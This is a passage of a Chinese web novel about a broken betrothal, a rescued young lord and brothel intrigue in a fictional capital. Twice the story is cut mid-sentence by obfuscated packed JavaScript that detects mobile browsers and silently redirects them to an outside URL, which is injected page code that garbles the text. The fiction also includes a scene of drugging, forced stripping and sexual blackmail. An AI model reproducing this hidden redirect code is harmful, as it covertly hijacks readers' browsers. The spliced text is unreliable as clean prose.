“是的，估计是为了那事情来的，你看你师傅现在这个样，我也不敢上前去说什么，丁哥你师傅与你亲近，你去和他说呗。” 袁梅、赵江河和周明启的事情如今已经是满城皆知了。之前袁梅还没有从药王殿回来，吃瓜的众人只能够是猜想纷纷，如今她回来了，准备看戏的人就越来越多，更别说还和几人有几分关系的这些“熟人”。 “好，我知道，你去忙吧。”丁游也无奈，但是看着这小厮又不想走，又不想去说难免有些恼火。 “你这么闲吗？这么闲就自己去说。”丁游的口气不免加重了几分。 小厮见状不好，急忙溜出了院子。 丁游也是长叹一声，似乎是做好了非常充足的准备，这才回到到屋内。 “师傅？”丁游尝试性的叫了一声，赵江河毫无反应，目光只集中在手下的木雕上。 这个木雕是一个木制的窗花，是宫里给的图案，要雕一副龙凤呈祥。如今赵江河只剩凤凰的尾巴还没有雕好了，以他的速度不出意外今日之内就可以大功告成。 “师傅？”丁游又叫了一声，回应他的还是沉默。 就在是这一会的功夫，赵江河又雕好了一根尾羽，他手上的速度越来越快，好像在追赶什么一样。 “师傅，小姐和袁姑娘来了，在门外等你。” “啪！”正在雕刻的这根尾羽断了，断口在这幅窗雕上格外扎眼。 赵江河看着断了的凤凰尾，没有叹气，没有怒意，只是轻轻的把刻刀放在一旁，像往日收工一样，拿了一块丝绸把窗雕盖好，转头对丁游说：“你去招呼她们一下，我收拾一下就出来。” 其实赵江河说这话的时候，丁游可以感受，他有一丝高兴，这样的高兴虽然丁游没有证据但是他猜测是来自侥幸。赵江河正在心怀侥幸，希望袁梅不过是为了一些别的事而来。 但是现在恐怕这全天下就只有他这可怜的师傅会这样想了，毕竟他刚刚雕的这幅龙凤窗雕就是为了袁梅和周明启的婚房所准备的。 丁游出来给袁梅和萧妖雪看茶的时候，却见到自家小姐起身把自己拉到一旁。 “丁游，最近你在工匠司可还适应？” “很适应，师傅教了我不少东西。” “那就好，最近赵大人恐怕是要坚持不住了，你有空多关心他一下。还有就是，你的这些阵法在你收徒之前，只能你自己画，绝对不能让心怀不轨的人拿了去，明白了吗？” “好的小姐。” “有空也回府上来看看，父亲最近特别喜欢热闹，你回来他肯会高兴的。” 看着萧妖雪这样交代，丁游心中难免一悬，但是他却自己找不到理由。 正说着萧妖雪就远远看到赵江河过来，比那转丁游说道：“我就先走一步了，之后你看看这点你师傅，可千万别让他做傻事。” 说着就离开了工匠司。 赵江河进了屋，看到坐在一边的袁梅，原本全是死气的的脸上终于是浮出一丝笑容。 “袁姑娘，你来了。丁游你去厨房看看有没有什么点心，给袁姑娘拿点。” “不必了，几句话说完便走。” 丁游立刻被架在了那里走也不是，留下来听也不是。 “我……我去加水。”说完丁游也不顾屋内二人是何表情，直接一个箭步冲了出去。 “你……” “我……” 二人同时开了口又同时闭了嘴，气氛好似又回到了他们在李府第一次见面的一般。 “我先说吧。”袁梅也是叹了一口气。“赵大人，当年家里定的婚事就此作罢吧，如今圣谕当前，我们这些不过是过家家的玩意。我那份我已经带来了，赵大人那份若是在手边，就也一并拿出来吧。” 这会赵江河脸上的彻底碎了，他的最后一丝希望也碎了。 但是君子天生就有自己的架子，就算是命丧黄泉，这架子都不会那么容易塌了。 在袁梅看来，赵江河还是非常从容的从袖中掏出了婚书，看来他也早就预料了。但是袁梅明白他一定不是在期待，他只是在等待。 袁梅将两张婚书叠在一起，放在一旁的蜡烛上点燃，二人就这样看着逐渐被火焰吞噬的婚书，直到火焰即将燎到袁梅的手指，她才将婚书扔入一旁的火盆。 带着火星子的婚书扔了进去，顿时又把火盆中的纸屑给引燃，嘭的一声，就像二人曾经有过的心动，但是这样感觉也因为缺少可以继续被燃烧的原料，快速的熄灭了。 “这个千机伞，也一并还给你吧。”说着袁梅从身上取下了千机伞，要递过去，却不料赵江河突然起身，连退三步，对着袁梅行了一个礼。 袁梅被他这个行为闹得摸不到头脑。 “袁姑娘，良兵配良将，你我已经解除婚姻，这柄千机伞也不过是江河见袁姑娘适合，专门为袁姑娘量身打造的。也请袁姑娘出于对一个工匠的尊重，就好好待这千机伞。今日袁姑娘的事情已经了了，江河还有公务在身，就不多留了，袁姑娘路上小心。” 说罢赵江河就这样平静的回到了院中，留下袁梅呆呆的拿着千机伞。 见赵江河走了，丁游急忙回到屋里，这样才避免了袁梅被这样尴尬的晾在这。 “袁姑娘？师傅他……” “丁游，你去看着点你师傅吧，千万别让他出事，我就先走了。”说这话的时候，袁梅自己都感受到嗓子有些干涩，但或许就只是干涩罢了，最后喝了一口茶，离开了工匠司。 丁游目送袁梅离开后便急忙去找赵江河，今天小姐和袁姑娘都一再提醒自己要注意好师傅，他自然不敢松懈。 可是到了屋门口却大门紧闭，还不等丁游敲门，他就听到里面传来摔东西的声响，还有用刀在捅什么硬物的声音。 丁游尝试推门，却发现门被从里面反锁了。 “师傅，师傅！”丁游弄不明白赵江河在干嘛，但是撞门他也撞不开，只能急得直拍门。 终于一会过去，赵江河把门打开，看着满头大汗的丁游，只是淡淡的说道：“丁游，你去把里面收拾一下，下午把之前我让你刻的那副窗雕送进宫里去，我先回府休息了。” 说完头也不回就走了。 丁游进了屋才是被惊得说不出话，这满地都是木屑，而原本那个被红布盖着只是断了一根尾羽甚至还可以抢救的窗雕已经破碎不堪。 镂空尾羽尽数断裂，凤凰和龙的身上遍布刀痕，唯一完整就只有凤凰的脸，还高高朝向天空，眼中满是希望。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15917960|171320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>赵江河之前雕过不少木雕，丁游也见过，从来没有哪尊有这尊这样的神情，丁游难免有些心疼，毕竟如果只是断了一根尾羽，就算是他也有能力把它修复，赵江河就这样毁了这幅差点登上神坛之作，实在可惜。 最后清理完成还是有些不舍，又将那木雕扳回自己工作台，费了一番功夫将那凤头给完整的取了下来，这才把剩余那些残破之物处理了。 萧妖雪离开了工匠司，便向着去街上给父亲买点点心，想必父亲醒来之后应当会像想吃这样甜甜的点心。虽然厨房也会做，但是每次吃来吃去都是那几样，之前看到一个巷子开了一家酥饼铺，人都还没转进巷子就闻到飘出来的香甜味，味道一定不错。 正走着萧妖雪的余光突然瞥到一旁的巷子中有几人在打架，仔细一看应该是有几人在围殴一人。 被围殴的那个人似乎还会点功夫，但是对方人多，一手一脚的让他很难抵挡，而且这被围殴的人，看起来也没多大劲，虽然出手有招式但是却软绵绵。 只是这招式怎么看着有些眼熟？这好像是气云九式？ 萧妖雪看出了气云九式很快就认出了被围着打的这个人的身份，只是他怎么会在京都？ “你们都住手。” 那几人听到有人出声制止，但是个女人，都颇为不屑，丝毫不理会。 “是聋了吗？我让你们都住手。” 这次几人倒是都纷纷停住了手，因为在他们每个人的眉心处，都停着一枚泛着金属光泽的碎片，上面清晰的倒映着他们丑陋的嘴脸，而那碎片的尖端散发出森森白光。 几人就这样被碎片逼着回转身对着对着萧妖雪站好，身后被打的那人终于也撑不住倒下去晕了过去。 “为什么打他？” “他在我们地盘上要饭。”为首的混混说道。 “要饭？” “是呀，我们看他穿得不错，还在这要饭，我们看不惯就想打他一顿。” 听了这话，萧妖雪再看向几人身后那人，确实所着衣物都是上好布料，以他的身份不应该要要饭呀。 “可以了，滚吧。”萧妖雪看着只要自己不说话，就蠢蠢欲溜的几人，也懒得再和他们费口舌。收了流彩剑，让他们离开，他们也如同得了天下大赦一般，头也不回的就跑了。 “要帮忙吗？”看着那几人离开，萧妖雪正想去查看躺在地上之人，身后却想起了另一个声音。 回头便看到周明理和孙放站在巷子口。 “很会挑时间呀，那就搭把手吧。” 萧妖雪看到二人心中也是一喜，有力工在省得她费劲。 听到这话周明理对着身旁的孙放使了个眼色，孙放也不含糊，上前就将人扛了起来。 “去哪？” “潇湘阁。”“潇湘阁。” 赵江河小记： 赵江河才离开了工匠司，就遇到了李安国，李安国今日也是休沐，本来就想着自从从药山营回来就没见过赵江河，今日恰巧来看看他，这刚来就看到赵江河摇摇晃晃的走在街上，险些撞到别人。 李安国急忙上前拉住他把他扶到一旁的酒肆里面。 赵江河也回过一些神来，看着李安国说道：“李兄？今日休沐？” 李安国看着他还能正常说话，也松了一口，看来还没疯。 “是呀，本来说来找你吃饭的，没想到你就自己跑出来了。” “这是酒肆吧，李兄今日陪我喝点。” 李安国内心难免腹诽，就你这酒量我还没感觉，你就已经睡了，不过今天看在你心情不好，我就自然是要答应的。 “好，小二上酒。” “得嘞客官，几壶？” “一壶。” 听到只要一壶的时候，小二显然有些失望，原本想着是个大客户，没想到扣扣搜搜一壶酒两个大男人喝。 “您的酒来了。”但是来者是客，小二还是堆着笑脸给上了。 赵江河以前都是无论李安国怎么劝滴酒不沾，这次他倒是主动，拍开泥封，就给自己到了一碗。 端起来咕嘟咕嘟就喝了，然后又倒了一碗，还顺便给李安国倒了一碗。 李安国本想拦着他，但是他这动作太快了根本拦不住。 以李安国对于赵江河的了解，他就是一杯倒，没想到今天还真有点不一样，这样一碗就下去，就算是李安国都会发蒙，赵江河竟然还坐着。只是脸上很快就浮起了红晕和醉意。 “李兄，你说我是不是特别差？” “怎么会呢？” “李兄你不知道，其实我第一次去见袁梅的时候，我带了婚书，但是我……我见色起意了。我……我是不是很差？” “但你们之后不是相处得很好。”李安国对于赵江河还做过这样的事情倒是有些惊讶，本来还以为是个榆木脑袋，没想到还是有些脑子的呀。 “是呀，我教她用木偶，送她千机伞，给她讲公主坟的机关。但是我还是不了解她，她好像也不在意我聊不了解她。” 李安国知道了今天赵江河是睡不着了，估计这苦水能吐好久。 果然他就开始絮絮叨叨说着自己怎么做木偶千金，公主坟的机关怎么给袁梅讲的。 李安国不禁心中吐槽，除了千机伞是父亲让赵江河做了送袁梅的，其他他做的这些事与其说是为了袁梅不如说是为了萧妖雪。 “李兄，我知道我比不上五殿下，我和她认识一年都不到。她来京都本就是要和我解除婚约的，但是为何我现在这么难过。” 这个问题，李安国也回答不了，只有给赵江河的酒碗又倒满了。可是这次赵江河没喝，而是毫无征兆“咚”的一声倒在桌上睡着了。 53. 青楼春宵 女子说：“现在这样做会疼的吧？” 男子说：“疼不是刚好吗？他就醒了。” 女子说：“但是这样真的好吗？他看起来很虚弱，撑得住吗？” 男子说：“都是练武的人就这么点怎么会承受不了。别束手束脚的，大胆来。” 另一个男子说道：“是，殿下。” 紧接着胡晓枭就感受到整个人的躺着的姿势被换了一下，一只已经麻木的手被扛起来，架在了一人的肩膀上，那人一手扶着自己的肩膀，一手攥着大臂，刚好摸到了他的痒痒肉，胡晓枭虽然眼睛睁不开，但是不自禁的就想缩手。 对方好像感受到他要多，受伤的力气加重了几分，抓得他动荡不得，然后一秒，一股大力拉扯他的手臂和肩膀，伴随着“嘎嘣”一声，一阵剧痛席卷胡晓枭的手臂，他整个被痛得直接坐了起来，原本缠绕着脑子的昏沉感也随之消失。 “看吧，我就说可以。” 胡晓枭转头看向刚刚就一直在床头絮絮叨叨三人，本以为又是一群要坑他的人，没想到入眼三人，却让他觉得格外亲近，眼泪都忍不住夺眶而出。 “殿下，我是不是下手太重？”孙放看着周明理问道。 “不应该吧，胡公子？胡公子？哭什么呢？” 胡晓枭现在好像已经分不出精力来回答周明理的问题，只是一味的号啕大哭。 终于哭得在场几人都喝了两杯茶了，他才冷静下来些。看着周明理说道：“胡笳郡王，萧姑娘，是你们真的太好了。” 却不料这话才说完，眼泪又忍不住夺眶而出。这次倒是没有哭两盏茶的时间，因为众人才坐下喝了一口茶，胡晓枭就晕了过去。 萧妖雪还是有些担心胡晓枭的身体，便叫了潇湘阁中的大夫过来给他看看。 “要不还是带到街上的医馆吧。”孙放有些担心的提议道。 “放心好了，潇湘阁的大夫最擅长应对这样情绪激动力竭的情况。” 果然那大夫不过是给胡晓枭问了一种药膏，胡晓枭就悠悠转醒，但是醒过来之后看得出来，情绪还是很激动。那大夫又急忙从包里掏出一颗药丸给他服下。然后正准备在房间的角落点一盘香却被萧妖雪制止了。 “静香就不用，他不是那种情况。” “是是。”听了这话，大夫就直接离开了房中。 “胡公子，到底发生什么了？”周明理看着胡晓枭的情绪终于是稳定了，这才搬了个凳子坐到他面前问道。 “胡笳郡王，你送我回胡笳城好不好，我不要在外面了。”胡晓枭就像抓住救命稻草一样紧紧地抓着周明理不松手。 “你先说说到底怎么回事。” 看着周明理一再追问，胡晓枭竟然有些不好意思的别过头去。 萧妖雪实在看不下去了，起身对着孙放说：“走，孙放，陪我出去走走，这屋里太闷了。” 二人离开后，又在周明理一番威逼和安慰下，胡晓枭才说出了发生了什么事情。 原来就在周明理到达京都不久，周明理的母亲叶冥就去世了。当时恰好胡晓枭又在和江秋鸿闹着说要出去看看江湖，江秋鸿索性就答应了，给了他几个大金饼，就让他去京都，顺便把这消息传到京都。 胡晓枭离了胡笳城在大漠里走了半天的路，觉得饥肠辘辘，便在一个小城池里找了一家食肆吃了一顿，但是因为出手太过于阔绰，在店里就被下了散气的药，才离开那城池，就被人打劫了。 那些人在沙漠里布了一张网，给胡晓枭套得牢牢的，搜刮了他的钱财，几个大金饼，就这样落入他人之手。 气息被散了，胡晓枭气云九式也打不出来，那些人就欺负他什么都反抗不了，还剥了他的衣服，就这样用几块大石头压着网兜，就仅仅是这样胡晓枭都无法挣脱。就被晾在那朗朗晴空之下一下午，直到一支路过的商队，看到了他，这才救他于旷野之中，但是也将他的颜面彻底撕碎埋葬在这沙漠里。毕竟胡晓枭没有想到自己胡商中这么出名，这群救他商人，竟然知道他的身份。 胡晓枭心如死灰，毕竟现在这群人已经不仅知道他的身份，还知道他的身了。 商人没有分了一些银两给他，又给他拿了几套衣服，晚饭过后，胡晓枭实在没有脸说跟着商队一起去京都，他就偷偷地溜走了。 可是那点微薄的银子，在天价沙漠里撑不上几天，胡晓枭就又口袋空空。 而身上的气息却依然没有恢复，胡晓枭甚至连卖艺赚钱都做不到，但是肚子实在饿的厉害，只能沿街乞讨。 就这样一路丢脸丢皮的来到了京都，到了京都本本想着直接去潇湘阁，却不料被之前几个结怨的混混给堵上了，暴打了一顿，竟然还晕了过去。 胡晓枭说完，虽然对于周明理来说他是来报丧的，但是听完胡晓枭说他脸上已经透露不出喜悲。而门外突然传来几声轻笑，听起都是年轻女子。 胡晓枭脸登时就红透了，对着周明理问道：“潇湘阁不应该很隔音吗？” 周明理听到这个问题，脸上再也绷不住了，也露出了笑容，回道：“我怎么知道，我又没来过。” 他说完之后再看胡晓枭，他感觉这少年要晕过去了。 好在门外传来了沈轻离的声音：“都聚在这干嘛呢，什么时候有趴门缝的爱好了。” 胡晓枭的心更凉了。 之后便有人推门进来，就看到床上坐着已经魂不附体的胡晓枭。 “殿下，这位是京都潇湘阁的楼主，沈轻离。”萧妖雪给周明理介绍道。 “见过三殿下。” 二人打完招呼，又看向木楞的胡晓枭。萧妖雪对着周明理使了个眼色，示意他出去说话。 “你母亲的事情……” “我前几就知道了，东梁的信使还是会比这位胡公子快些。” “你没事？” “也算是了却一事了，圣人答应我之后就让我住在京都了。” “那后事？” “父皇派了人去，却不让我去，想必是担心我在那边有势力吧。” “节哀。”帝王家无情，此刻体现的淋漓尽致。 “我没事。”周明理看得出萧妖雪有些难过，本想着抱着她安慰一下，不料这才几句话的功夫，孙放就跟到了身边。 “殿下，陛下邀您进宫，讨论下葬的事情。” “知道了。”周明理有些无奈，这几日都没见到萧妖雪本想着今日见到了，可以单独说说话，不料一会是胡晓枭，一会又是圣人。 “你快去吧，这边有我在。” “好，对了这小子不用着急把他送回去，你潇湘阁如果有什么杂事安排他去做就行了。”周明理人已经走去几步，又回头嘱咐，看来江秋鸿的信也在胡晓枭先到。 萧妖雪回到了屋内，沈轻离已经给胡晓枭服下了药，萧妖雪清晰的感受到胡晓枭身上的气息又恢复了。 “气息恢复了？可还有哪里不适？”萧妖雪关心道。 “多谢萧姑娘救命之恩。”胡晓枭知道如果今天不是萧妖雪看见他，还出手的话，自己估计是永远都回不去了。 “你打算怎么谢？” “啊？”这个问题是胡晓枭没有想到的，难道要他以身相许，但是胡笳郡王不是刚走吗？ “最近潇湘阁正缺人手，你就留下来帮帮手吧。” “啊？不行，我要回去了。”胡晓枭显然不愿意接受这个条件。 “你母亲已经写信来说让我们照顾好你了，不用着急回去。” “那我也不能在潇湘阁干活呀，我是要去闯江湖的。”胡晓枭也有些急了，现在他什么理由都说得出来，只要不在潇湘阁干活。 “嗯，也是，那沈楼主你算算胡公子在潇湘阁的消费吧。” “一共三千一百二十六两白银，你是萧姑娘的朋友就算你三千两吧。” “三千两？！”胡晓枭现在非常笃定，这两娘们在坑自己。 “这可是京都呀。三千两也就一晚的价钱，也不足为奇吧。”沈轻离摆出一副看不起这胡晓枭没见过世面的样子。 胡晓枭好像还想求证，眼神带着渴望看向了萧妖雪，却发现她也一脸稀松，顿时心如死灰。 “那那那，你们让我回胡笳城，我给你钱。” “那可不行，万一你逃单怎么办？你只要没有把钱结清，离开潇湘阁你这一路的故事，我保证一天之内传遍东梁。西丹应该也会知道点。” 一道惊雷劈到了胡晓枭满是死灰的心里，他又两眼一翻要晕过去，却不料沈轻离在他耳边说道：“晕过去，又要用药，那可就不止三千了。” 这话硬生生是把要晕过去的胡晓枭给拽了回来。 “好……那我要做什么？”最后生无可恋的接受了这个事实。 “这么好的皮囊，这么好的身材，这么好的头脑。” “这是京都潇湘阁近三年的账，给你三天时间全部核查一遍，同时把这画册上的姑娘全部认全。” 说着就有侍女端进来一对账本还有那画册。 不知为何，听着沈轻离之前这样夸自己，胡晓枭心中竟然浮现出一丝异样的期待，但听到后来的安排，他意识到了那奇怪的感觉，不禁被吓出一身冷汗。 “胡公子，那你就安心在潇湘阁待着，有什么需要的直接和沈楼主说，放心她人很好的。” 说罢就和沈轻离一起离开了房间，留下胡晓枭呆呆的看着桌上的账本。 他胡笳城的少城主，要在这青楼里算账，就算怎么可能，就算让流言的口水把自己淹死，他也不可能在这潇湘阁多呆一天。现在他的气息已经恢复了，他必须要走。 萧妖雪和沈轻离出了门，沈轻离却把她引到另一个房间中。 脸色也严肃了下来，说道：“我们可能查到袁墨突然这样反常的原因了。” “好像？” “对，因为没有证据，就在你们去药王殿的那日，周明启以上门提亲为由，见了袁墨一面。但是我们的人不知道他们说了什么，只是之后袁墨就开始调查账本的事情。” “唉。”萧妖雪长叹一声，“这也不需要什么证据了，那个账本就是个圈套，无论是我们拿到还是袁墨拿到，我们这朋友都做不了了。周明启多久没有来潇湘阁消费了？” “大概有半年了，自从公主坟之后就没有来过了。” “轻离，你自小心点，楼里面的人也多注意排查。” “是。” 如今周明启可以这般拿捏她们，说明他在潇湘阁中一定有暗线，此事不能再有差错了。 今晚的京都月明星稀，月光洒落大地，就连小草都能照出影子，京都潇湘阁后院的水池之内映着又圆又大的月亮，夏夜无风，潭水至清，如同一个玉盘落在地上。 忽然一阵风过，玉盘不似天上那玉盘掠过一个黑点，还浮出了层层波纹。 胡晓枭虽然觉得今夜的月光太过亮眼，但是他已经迫不及待的离开。可是当他的脚步刚刚踏上院墙他就闻到一股淡淡的香味，像是桂花，又像是荷花，虽然两种感觉很割裂，但是确实都有些像，胡晓枭正想着，却不料脚下一软，这个人就向院外倒去。 说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15930104|171320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时迟那时快，一只绣花鞋出现在了他的视线内，一脚蹬在了他胸膛上，他就这样硬生生用屁股摔回了院子里。 现在他视野里不再是一只绣花鞋，而是一双，抬头一看，这绣花鞋的主人正是沈轻离。 “胡公子？这么晚了去哪呀？” 胡晓枭心中大叫不好，立刻想起身逃跑，可是白日里已经恢复的气息，竟然又消失的无影无踪，而且身体彻底不能动荡。 沈轻离看似柔弱，却一把就把地上的胡晓枭提了起来，胡晓枭感受到她用了气息，而且实力不弱。 胡晓枭就这样被拖拽着进了一个房间。 这房间的装饰吓了一跳胡晓枭一跳，这房中没有床，没有桌椅板凳，只有数不胜数的镜子和红烛。 沈轻离将胡晓枭丢在房间的中间，居高临下的看着他，说道：“胡公子，看来还是对自己不都了解。当我这潇湘阁真是什么说来就来，说走就走的地方吗？” “你敢对我怎样，我明日就告诉胡笳郡王。” “看吧，我就说你对自己不够了解，你明日如果真的敢对三殿下说什么，我沈轻离敬你是条汉子。” “你……你到底要怎样。” “这取决于之后你怎么表现了。” 说着沈轻离就上手去脱胡晓枭的衣服，边脱边说：“胡公子，应当知道，我这呢是个青楼，青楼伺候的人手段可多了。我知道胡公子不甘心留着，但是我也没让你干什么上不了台面的事情，就算算账，胡公子都这样抗拒，我真的很心寒。” “你别摸我！”胡晓枭的衣服已经被拖干净了，沈轻离的手又想着他的裤子过去了。 “胡公子，这一路过来吃了不少苦，现在念家心切我理解。作为胡笳城的少城主，天生锦衣玉食，未来更是贵居城主之位，可这一路过来却连自己的口袋都收不住，我都不敢想日后你怎么守这城池。” “要你管，啊！”胡晓枭现在已经被剥了个干净，而沈轻离正在向他身上涂抹什么药膏。 沈轻离的手所过之处，胡晓枭只觉得烈火焚身，但是四肢又不能动，只能难耐的皱眉低吼。再加上入目之景，胡晓枭的眼泪又忍不住开始往外流了。 直到给胡晓枭全身涂了个遍，沈轻离才站起身，却并没有看着胡晓枭，而是看向一旁镜中胡晓枭的身影，说道：“还真是小小呢，你今晚就在这好好考虑考虑吧，明天早上会有人来给你开门，账本还在你的房间，你会就好了。要走也行，但是我想不久春宫图会多一副新图。” 说罢，沈轻离就离开了那房间，却并未远去，而是隐身于窗边的暗处听着屋里的叫骂声变成难耐的求饶，又欣赏了好久她的作品。 胡铭小记： 眼见段天行一刀杀了胡令，胡铭顿时心如刀绞，直接从哨塔一跃而下，向着段天行就出手，可是段天行却不似之前那样处处让着他，而是提刀迎了上去，胡铭应对起来也明显吃力了不少。眼见已经落入下风，段天行举刀要砍，胡铭艰难躲过，紧接着大刀又横向扫来，胡铭凝气于掌挡下这一刀，但是手上还是留下一道血痕。 好在气云九式已成，胡铭看准了段天行的后背，再递出一掌，却不料段天行身前身后同时闪过阵法图案，原本段天行刺向身前的刀，却出现在身后，距离胡铭的胸膛不过一拳之远，更糟糕的是此时胡铭已经止不住向前的冲力，眼看就要步上胡令的后尘。 胡铭肩膀被人紧紧抓住，然后向后一拉，躲开了那诡异的一刀。 紧接着一众官兵把段天行围了，段天行见势不妙正想走，却不料胡铭身旁一人，突然高声道：“这不将军阁的人吗？胡城主难道是死在他手上，将军阁与胡笳城无冤无仇，为何要杀死胡城主，还对胡铭公子下如此死手。难道是因为不久前胡铭公子退出了将军阁吗？” 这人声音很大，周围不少人都听到了，段天行脸色已经黑得和煤炭没两样，提刀就向胡铭身旁那人劈去，而大刀并没有劈中那人，却被一柄长剑给挡了，这剑段天行见过，正是萧云雁的剑。 “你也背叛了将军阁，好呀。” 说罢段天行不再恋战，脚下阵法一亮，消失在众人眼前。 萧云雁确认段天行离开后，急忙看向身后的几人，扫了一眼胡铭确认他无恙之后，萧云雁急忙拉过胡铭身旁的周钦德仔细检查了一番。 “你怎么说这话，多危险，自己几斤几两不知道呀。”萧云雁的脸上满是担心。 “人言可畏，他将军阁也会怕，这样机会错过了就没了。”周钦德虽然现在手都还在发抖，但是还是故作镇定说道。 萧云雁白了他一眼，看向一旁的袁清。“证据都拿到了？” “胡令身上的刀伤就是最好的证据，此外这么多人都看到了，这事他跑不了了。” “好。”萧云雁看着所有的事情都有惊无险，唯一可惜的是胡令竟然就此陨灭。 之前在身旁的胡铭现在已经跪在胡令身旁哭做了一滩烂泥。众人也不忍心上前打扰他。便留了袁清在远处看着他们兄弟两，其余人都赶回城主府。 江秋鸿因为动了气，即将生产，看着众人回来却不见胡令的身影，难免有些焦急，萧云雁只能安慰她说，胡铭受了重伤，胡令正在一旁陪着，这样江秋鸿才安心进了产房，当晚就生了个大胖小子，却怎么都说要等胡令回来才取名。 可是怎么等都等不到，就连胡铭都安安稳稳出现在她眼前了，江秋鸿心中终于意识到这一场骗局。 好在身子骨硬朗，没有出现什么危险情况，最后决定给这孩子取名胡晓枭，希望他记住胡家有胡令这样一位英雄。 54. 袁梅大婚 萧妖雪再将胡晓枭丢给沈轻离后，就离开了潇湘阁，估摸着时间，父亲应当是起了。昨夜本想与他商讨商讨应对之策，可是父亲醉酒后就一直说着此事已定，萧妖雪只当是醉话，没有放在心上。 回到李府的时候太阳已经西沉，夕阳斜斜地洒在李府之中，看似温馨，却是炙热。已经入夏的东梁除非太阳消失，不然很难有一丝凉意，更别说黄昏这样积蓄了一整日的暴晒的时刻。好在李府中花木众多，减轻了不少烈日带来的焦躁。 萧妖雪回到府中的时候，李治正坐在院中喝茶，王氏在旁边陪着他。 原先萧妖雪对于王氏心中还是存有芥蒂，毕竟当年自己还在李府的时候，李治身边就只有母亲一人，虽然如今也只有王氏一人，但是对于萧妖雪来说心中总还是不是滋味。 不过经过这将近一年的相处，萧妖雪发现王氏确是配得上这李府主事人的位置。平日里将府内打理的整整有条就不说了。有时李治遇了烦心事去祠堂对着母亲的牌位散心，她也不在意。萧妖雪最有所感触的是，王氏从来不避讳府内人提及母亲，在祭奠先人的时候，也会亲手为母亲奉上一炷清香。 之前身在府外听着潇湘阁传回来的消息和市井间对这二位的传闻，萧妖雪已经做好了铁着心回来，最后也会冷着脸离开的打算。却没想到过来的这一年，李府却并非如外界传言那般勾心斗角，唯利是图。 甚至在萧妖雪看来，这比不少为了争个老爷子遗产的人面兽心之辈顺眼多了。 王氏率先注意到了萧妖雪的身影，起身招呼她过来坐。 今日茶桌上准备的是凉茶，里面加了桂圆大枣等提气的药膳，喝下去甚是解乏。 王氏在李府这么多年眼力劲那是极好的，萧妖雪才坐下寒暄了几句，她就知道萧妖雪想要同李治单独聊聊，也不打扰招呼下人就离开了。 “你今天见到袁墨了？”还不等萧妖雪提起昨夜的事情，李治就率先问道。 “是的。他恐怕已经不再是自己人了。”萧妖雪回想着今日与袁墨见面的情景，心中难免感慨，京都的友情就是这么脆弱，只要有人愿意用心挑拨，这再有情有义都可以瞬间破裂。 “袁墨自从进了这朝堂，就注定要与我为敌。只是早晚的事情而已，不过这次老五把事情做的太绝，恐怕不仅仅是要针对我这么简单。” “父亲，你与鬼月的事情本就是你们当年布的局，你将此事告诉袁墨，或许我们可以……” “布得局也好，真心背叛也罢，这结局不都没有改吗？我确实害死了他们这几百号人，我也确实因此平步青云，如今到了还债的时候，妖雪你说除了我还有谁应该来承受这份仇恨？” “可是父亲……” “当年我本来劝袁清一走了之，但是他却说他算过了，他们这么多人，躲不了多久就会被发现，倒是还便宜了那些对家，所以他做出了一个大胆的决定，肥水不流外人田。既然已经有人怀疑是我给了他们安身之所，那就一箭双雕，不仅减轻了我身上的怀疑，还可以让我借此高升。” “袁大人当年的算计确实精妙，可是父亲，袁墨如今真要算账的话，恐怕要的是李府所有人的命。” “妖雪，我知道你不说这话不是在为你自己担心，但你放心好了，我已经安排了好了，你们都不会有事。” 事已至此，萧妖雪知道昨夜李治说的也不是什么醉话，他是铁了心要还这笔债。多说无益，作为子女，她现在要做的就是好好在父亲身边多陪陪他。 “对了妖雪，袁家那小妮子要成亲了，你给她选贺礼就连带着李府的一同选了吧。”李治突然话题一转问到了袁梅身上。 “好，父亲。” 东梁的喜事一般吃席的只有本家的亲戚，至于其他的亲朋，无论多好的朋友，那日都是只是登门赠礼。 萧妖雪以李府的名义订制了几只金簪，派人给袁梅送了过去。 而在袁梅成婚当日，萧妖雪亲自带着自己的贺礼登门造访。 如今的周明启的府邸可谓是张灯结彩，门口挂着大红灯笼，门上贴着大红喜字，门头上还挂了一朵大红花。门口送礼的人源源不断好生热闹，今日来送礼多半都是双方真正的亲朋，没有世家那些虚伪的礼数，都是真诚的祝福。 那日一早，周明理就早早的来到了李府，邀请萧妖雪一同前去。 二人都是一个小小的礼盒，但是识货人都知道，这种时候东西越小越无价。 “你直接去就行，怎么还过来叫我。”虽然见到周明理，萧妖雪心中是高兴的，但是难免还是想多嘴问一句，希望可以从他回答中听到自己想听的话。 “我听说了袁墨的事情了。”虽然不是萧妖雪想听的，但是这其中的含义还是让她很是满意。 “这大婚当日，他在有什么也得憋着。” “是是是，而且我们都已经有了婚约，一起去不是很正常。妖雪我知道这有些委屈你了，本来婚约才下的时候我们就应该像他们这样快快成婚，可是母妃回不了京都，我也不希望把你娶到胡笳城，所以我们只有等，如今母妃走了，我还要为她戴孝。” “好了，我不着急的，正好我也还有很多事情要做，这么早成婚以后不能在你跟前侍奉，那还不亏待你了。”萧妖雪听得出周明理心中的愧疚，但是她自己又何尝不是，如今才刚刚与周明志开始合作，李家又即将面临这样的变故，萧妖雪都没想好要怎么脱身，一旁还有周明启和徐战在虎视眈眈，这哪是什么成婚的好时候。 